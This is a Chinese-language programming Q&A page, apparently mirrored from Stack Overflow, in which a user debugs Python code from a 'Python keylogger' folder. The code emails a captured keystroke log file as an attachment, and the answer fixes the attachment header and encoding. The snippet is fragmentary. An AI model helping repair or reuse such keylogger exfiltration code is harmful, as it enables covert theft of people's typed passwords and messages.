python - PermissionError: [Errno 13] Permission denied python 错误
问题描述
我试图以管理员身份运行可视化代码,但这并没有解决问题,我试图以 rb 模式打开这个文件,但我不能。当我尝试执行时,它给了我这个权限错误。
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)
def on_release(key):
if key == Key.esc:
s.sendmail(fromaddr,toaddr,text)
s.quit()
return False
解决方案
感谢@Marichyasana,有 3 个问题。他在评论中修复了一个,第二个问题是我输入了内容描述,它应该是“内容处置”
p.add_header('Content-description','attachment; filename= %s' % filename)
第三,我忘记对有效载荷进行编码。
encoders.encode_base64(p)
感谢谁试图提供帮助。
推荐阅读
- forms - 在哈巴狗中动态形成队形
- php - 如何使用 foreach 循环修改数组值?
- python - 导入“unittest2”无法解决 Pylance
- r - 如何将日期时间列“2019-05-01T08:00:00+00:00”拆分为两个日期和时间列?
- javascript - three.js 获取右手向量
- kotlin - 如何修改传递给kotlin数据类的参数?
- android - 无法显示来自 firebase 实时数据库的数据,错误列表
- r - 我如何“阅读” R 的帮助函数的语法
- python - 如何在 Selenium 中处理 Firefox 打印对话框
- powershell-2.0 - powershell 2.X 是否支持下载和运行脚本?